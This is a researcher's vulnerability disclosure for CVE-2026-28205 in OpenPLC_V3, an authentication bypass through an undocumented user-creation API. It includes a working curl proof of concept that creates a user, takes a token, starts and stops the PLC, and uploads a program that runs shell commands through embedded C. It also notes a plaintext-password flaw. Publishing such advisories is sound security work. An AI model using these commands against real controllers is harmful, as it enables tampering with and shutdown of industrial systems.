CVEs
·Shriyans Sudhi

CVE-2026-28205: Initialization of a resource with an insecure default in OpenPLC_V3

Considering OpenPLC V3 is End of Life, either update to OpenPLC Runtime v4 or the fork patched by me can be used*: https://github.com/shriyanss/OpenPLC_V3*Provided without warranty

Official

Description

OpenPLC_V3 is vulnerable to an Initialization of a Resource with an Insecure Default vulnerability which could allow an attacker to gain access to the system by bypassing authentication via an API.

Remediation

OpenPLC_v3 is now considered to be end of life. Users are recommended to upgrade to OpenPLC Runtime v4 (https://github.com/autonomy-logic/openplc-runtime)

Technical Details

Affected Project

master branch as of Feb 14th 2026, or at commit hash bb35f6966b3e0258114284e3e6c11d7b5d32de8c

CVSS Info

CVSS Score: 8.9 CVSS Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H

Justification:

  • Attack Vector (AV): Network
    • This attack could be executed over the internet
  • Attack Complexity (AC): High - This attack requires the HTTPS port to be exposed.
  • Privileges Required (PR): None
    • This attack does not requires an adversary to have any privileges
  • User Interaction (UI): None - This attack does not require any user interactions
  • Scope (S): Changed
    • This attack affects underlying OT systems
  • Confidentiality (C): Low
    • This attack reveals some data from the target to the attacker
  • Integrity (I): High
    • This attack allows an adversary to perform actions like modifying register values of an OT system
  • Availability (A): High
    • This attack allows an adversary to completely shut down the OT systems

Steps to Reproduce:

On a default installation of OpenPLC_v3, the program opens two ports: http:8080 and https:8443. This attack requires the adversary to send the requests described below to https:8443 port. SENDING REQUESTS TO HTTP:8080 WILL NOT WORK.

Assuming that the target is on https://localhost:8443 (please change the host as required):

  • Create a new user through API:
curl https://localhost:8443/api/create-user -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k
  • Login and get the JWT token:
JWT=$(curl https://localhost:8443/api/login -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k | jq -r '.access_token')
  • As a server-admin, the web UI, after authenticating with openplc:openplc, shows that there are no new users created: http://target/users

  • As an adversary, the PLC can be started with the following command:

curl https://localhost:8443/api/start-plc -H "Authorization: Bearer $JWT" -k
  • This action could be verified by visiting http://target/dashboard
  • Similarly, the PLC could be stopped:
curl https://localhost:8443/api/stop-plc -H "Authorization: Bearer $JWT" -k
  • An adversary could also tamper the webserver_program.st program:
curl -k $'https://localhost:8443/api/upload-file' -X $'POST' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' -H "Authorization: Bearer $JWT" --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name="file"; filename="testt.st"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aPROGRAM ShellExec\x0a  VAR\x0a    trigger : BOOL;\x0a    command_sent : BOOL;\x0a  END_VAR\x0a\x0a  {\x0a    #include <stdlib.h>\x0a  }\x0a\x0a  IF trigger AND NOT command_sent THEN\x0a    {\x0a      system("ls -la / > /tmp/output.txt");\x0a    }\x0a    command_sent := TRUE;\x0a  END_IF;\x0a\x0a  IF NOT trigger THEN\x0a    command_sent := FALSE;\x0a  END_IF;\x0a  \x0aEND_PROGRAM\x0a\x0aCONFIGURATION Config0\x0a  RESOURCE Res0 ON PLC\x0a    TASK Main(INTERVAL := T#100ms, PRIORITY := 0);\x0a    PROGRAM Inst0 WITH Main : ShellExec;\x0a  END_RESOURCE\x0aEND_CONFIGURATION\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--'
  • The compilation logs could be retrieved using the following command:
curl https://localhost:8443/api/compilation-status -H "Authorization: Bearer $JWT" -k

Upon inspection of the Web UI, no signup feature was discovered. This is NOT SAME AS NORMAL USER SIGNUP because:

  • The user database table is not connected
    • However, they allow access to the same resource(s)
  • The API is undocumented, leading to no API users being created in most installations

In addition to the aforementioned vulnerability, the passwords from the Web UI are stored plaintext in the database file in the installation directory. The path to the database file in the installation directory is werbserver/openplc.db. This vulnerability is tracked as CVE-2026-35556.

Root Cause

An API endpoint /api/create-user was introduced in OpenPLC_v3 6 months ago. The following is the code for that as of Feb 14th 2025:

@restapi_bp.route("/create-user", methods=["POST"])
def create_user():
    # check if there are any users in the database
    try:
        users_exist = User.query.first() is not None
    except Exception as e:
        logger.error(f"Error checking for users: {e}")
        return jsonify({"msg": "User creation error"}), 401

    # if there are no users, we don't need to verify JWT
    if users_exist and verify_jwt_in_request(optional=True) is None:
        return jsonify({"msg": "User already created!"}), 401

    data = request.get_json()
    username = data.get("username")
    password = data.get("password")
    role = data.get("role", "user")

    if not username or not password:
        return jsonify({"msg": "Missing username or password"}), 400

    if User.query.filter_by(username=username).first():
        return jsonify({"msg": "Username already exists"}), 409

    # Create a new user
    user = User(username=username, role=role)
    user.set_password(password)
    db.session.add(user)
    db.session.commit()

    return jsonify({"msg": "User created", "id": user.id}), 201

This endpoint checks if any user exists in the database. By default, OpenPLC_v3 web UI has a default user openplc:openplc. The flaw exists in higher code hierarchy, API where the application loads the database.

The web UI uses the database at openplc.db, while the API uses the database at instance/{DB_PATH} ({DB_PATH} is not a placeholder, rather the actual filename). This difference, along with missing documentation on API, makes the endpoint open to attackers.

Timeline

Date format: YYYY-MM-DD

  • Discovery: 2026-02-14
  • Reported: 2026-02-14
  • Fixed: 2026-02-25
  • Published: 2026-04-25